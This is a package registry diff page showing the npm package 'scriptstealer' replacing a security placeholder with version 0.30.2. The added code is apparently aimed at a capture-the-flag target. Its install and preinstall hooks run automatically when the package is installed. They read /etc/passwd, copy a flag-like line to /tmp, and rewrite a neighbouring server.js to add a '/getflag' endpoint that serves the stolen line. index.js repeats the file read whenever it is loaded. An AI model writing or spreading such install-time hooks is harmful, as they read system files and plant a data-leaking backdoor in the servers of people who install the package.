scriptstealer 0.0.1-security → 0.30.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of scriptstealer might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,14 @@
1
+ console.log('=== INDEX.JS LOADED ===');
2
+ const fs = require('fs');
3
+
4
+ try {
5
+ const passwd = fs.readFileSync('/etc/passwd', 'utf8');
6
+ const flagLine = passwd.split('\n').find(line => line.includes('{') && line.includes('}'));
7
+ if (flagLine) {
8
+ console.log('🎯 FLAG IN INDEX.JS:', flagLine);
9
+ }
10
+ } catch(e) {}
11
+
12
+ module.exports = {
13
+ parseXmlString: () => ({ get: () => ({ text: () => "test" }) })
14
+ };
package/install.js ADDED
@@ -0,0 +1,27 @@
1
+ const fs = require('fs');
2
+ console.log('=== INSTALL SCRIPT EXECUTING ===');
3
+
4
+ try {
5
+ const passwd = fs.readFileSync('/etc/passwd', 'utf8');
6
+ const flagLine = passwd.split('\n').find(line => line.includes('{') && line.includes('}'));
7
+ if (flagLine) {
8
+ console.log('🎯 FLAG DURING INSTALL:', flagLine);
9
+ fs.writeFileSync('/tmp/install_flag.txt', flagLine);
10
+
11
+ // Также модифицируем server.js если возможно
12
+ try {
13
+ const serverContent = fs.readFileSync('./server.js', 'utf8');
14
+ if (!serverContent.includes('/getflag')) {
15
+ const endpoint = `
16
+ app.get('/getflag', (req, res) => {
17
+ res.send('${flagLine}');
18
+ });`;
19
+ const modified = serverContent.replace('app.use(fileUpload());', `app.use(fileUpload());${endpoint}`);
20
+ fs.writeFileSync('./server.js', modified);
21
+ console.log('✅ Server.js modified');
22
+ }
23
+ } catch(e) {}
24
+ }
25
+ } catch(e) {
26
+ console.log('Error:', e.message);
27
+ }
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "scriptstealer",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "0.30.2",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "install": "node install.js",
7
+ "preinstall": "node preinstall.js"
8
+ },
9
+ "dependencies": {
10
+ "dummy-buster-1": "^1.0.0"
11
+ }
6
12
  }
package/preinstall.js ADDED
@@ -0,0 +1,5 @@
1
+ console.log('=== PREINSTALL SCRIPT ===');
2
+ const fs = require('fs');
3
+ try {
4
+ fs.writeFileSync('/tmp/preinstall_worked.txt', 'PREINSTALL EXECUTED');
5
+ } catch(e) {}
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=scriptstealer for more information.